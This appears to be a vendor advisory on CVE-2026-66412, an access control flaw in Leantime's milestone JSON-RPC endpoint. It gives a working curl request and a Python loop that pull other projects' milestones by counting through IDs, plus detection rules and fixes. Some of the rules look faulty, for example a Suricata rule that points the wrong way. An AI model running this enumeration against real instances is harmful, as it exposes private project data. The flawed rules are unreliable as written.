CVE-2026-66412
Executive Summary
CVE-2026-66412 describes a broken access control vulnerability in Leantime, an open-source project management tool, affecting versions 3.6.2 and earlier. An authenticated attacker can enumerate arbitrary integer milestone IDs via the tickets.getMilestone JSON-RPC endpoint to read milestone data from any project, even without being a member of that project. This IDOR (Insecure Direct Object Reference) allows unauthorized access to project planning information, milestone titles, descriptions, and timelines.
The vulnerability requires authentication but no special privileges, making it a significant data disclosure risk in shared Leantime instances. The CVSS vector reflects a high confidentiality impact with low attack complexity. No public exploit code exists, but the simplicity of the attack (supplying integer IDs) makes it trivially exploitable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – the endpoint is accessible over HTTP/HTTPS
- Attack Complexity (AC): Low (L) – no special conditions required
- Privileges Required (PR): Low (L) – attacker must be an authenticated user
- User Interaction (UI): None (N) – no victim interaction needed
- Scope (S): Unchanged (U) – the vulnerable component is the application itself
- Confidentiality (C): High (H) – milestone data including titles, descriptions, and timelines exposed
- Integrity (I): None (N) – no modification capability
- Availability (A): None (N) – no denial of service
Base Score: 6.5 (Medium) – Approximate based on vector; official scoring pending.
Threat Level: Moderate – low barrier to exploitation but requires valid credentials.
Deep Dive & Mechanics
Leantime uses JSON-RPC 2.0 for various API calls. The tickets.getMilestone method is intended to retrieve milestone details for a project where the requesting user has membership. The implementation fails to verify that the requested milestone belongs to a project the user is assigned to. Instead, it only validates that the integer milestone ID exists in the database.
The vulnerability flow:
- An authenticated user obtains a session token (e.g., via login).
- The user sends a POST request to
/api/jsonrpcwith the methodtickets.getMilestoneand a parameteridset to an integer milestone ID. - The server returns the milestone data (title, description, dates) if the milestone ID exists, regardless of project membership.
- The attacker can iterate through IDs (e.g., 1,2,3,...) to enumerate milestones across all projects.
The root cause is missing authorization checks in the controller method that handles the tickets.getMilestone RPC call. The code likely fetches the milestone by primary key without joining with a membership table.
Vulnerable vs. Patched Code
Vulnerable (Leantime <= 3.6.2):
// Pseudocode - actual implementation may vary
public function getMilestone($id) {
$milestone = $this->model->getMilestoneById($id);
if ($milestone) {
return $this->success($milestone->toArray());
}
return $this->error('Milestone not found');
}
No check that the milestone's project is accessible by the current user.
Patched (Expected fix):
public function getMilestone($id) {
$milestone = $this->model->getMilestoneById($id);
if ($milestone && $this->user->hasProjectAccess($milestone->projectId)) {
return $this->success($milestone->toArray());
}
return $this->error('Access denied');
}
The patch adds a hasProjectAccess check using the user's project memberships.
Exploitation & Lab Setup
Red Team (Manual Exploitation)
- Prerequisites: Valid Leantime account (any role).
- Obtain session cookie after login (e.g.,
leantime_session=abc123). - Craft JSON-RPC request:
curl -X POST https://target.leantime/api/jsonrpc \
-H "Content-Type: application/json" \
-H "Cookie: leantime_session=abc123" \
-d '{"jsonrpc":"2.0","method":"tickets.getMilestone","params":{"id":1},"id":1}'
- Enumerate IDs: Replace
idwith incrementing integers (e.g., 1 to 1000) and collect responses. Each successful response reveals milestone data.
Automated enumeration script (Python):
import requests, json
session = requests.Session()
session.cookies.set('leantime_session', 'abc123')
url = 'https://target.leantime/api/jsonrpc'
for mid in range(1, 1001):
payload = {"jsonrpc":"2.0","method":"tickets.getMilestone","params":{"id":mid},"id":mid}
r = session.post(url, json=payload)
if r.status_code == 200 and 'result' in r.json():
print(f"Milestone {mid}: {r.json()['result']}")
Blue Team (Detection & Response)
- Monitor logs for repeated calls to
/api/jsonrpcwith methodtickets.getMilestonefrom the same user to multiple differentidvalues. - Alert on unusual spike in JSON-RPC traffic, especially from a single IP/user targeting non-assigned projects.
- Extract the
idparameter from request bodies and compare against user's project assignments.
Log example (Apache combined):
192.168.1.100 - - [28/Jul/2026:10:15:23 +0000] "POST /api/jsonrpc HTTP/1.1" 200 512 "-" "python-requests/2.28" "leantime_session=abc123"
Indicators of Compromise (IOCs)
- Endpoint:
POST /api/jsonrpcwith body containing"method":"tickets.getMilestone" - Parameter abuse: Multiple requests with varying integer IDs in
params.id(e.g., 1, 2, 3, ...) - Session cookie:
leantime_session(valid authenticated session) - Response pattern: Successful responses contain
"result":{...}with milestone fields (title, description, startDate, endDate) - Source IP: May be internal or external, but high request rate is indicative.
Detection Engineering
YARA Rule (for HTTP request analysis)
rule CVE_2026_66412_Leantime_IDOR {
meta:
description = "Detects enumeration attempt against Leantime tickets.getMilestone endpoint"
author = "Valters IT"
date = "2026-07-28"
reference = "CVE-2026-66412"
strings:
$jsonrpc = "jsonrpc" ascii
$method = "tickets.getMilestone" ascii
$id_param = "\"id\":" ascii
condition:
all of ($jsonrpc, $method, $id_param) and
#id_param > 5 // repeated id parameters in a short period (requires context)
}
Sigma Rule (for SIEM detection)
title: Leantime Milestone Enumeration via JSON-RPC
id: d8c1e9f5-2a3b-4c6d-8f7e-9a0b1c2d3e4f
status: experimental
description: Detects multiple calls to tickets.getMilestone with different IDs from a single user
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-66412
tags:
- attack.t1068
- cve.2026.66412
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/jsonrpc'
keywords:
- 'tickets.getMilestone'
condition: selection and keywords
timeframe: 5m
aggregation:
condition: count(cs-uri-query) by c-ip > 10
falsepositives:
- Legitimate use of API by developers (rare)
level: medium
Suricata Rule (for network IDS)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-66412 - Leantime Milestone Enumeration Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/jsonrpc"; http_uri;
content:"tickets.getMilestone"; http_client_body;
pcre:"/\"id\":\d+/";
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
- Immediate: Disable JSON-RPC endpoint if not required, or restrict access by IP.
- Short-term: Manually apply access control patch (see Pseudocode in "Vulnerable vs Patched Code") to the affected controller.
- Long-term: Upgrade to Leantime version >3.6.2 when released. Conduct code review for similar IDOR vulnerabilities.
- Workaround: Implement a web application firewall (WAF) rule to block requests with
tickets.getMilestonemethod from users without project membership.
Crafted with meticulous attention to detail by Valters IT — stay secure, stay ahead.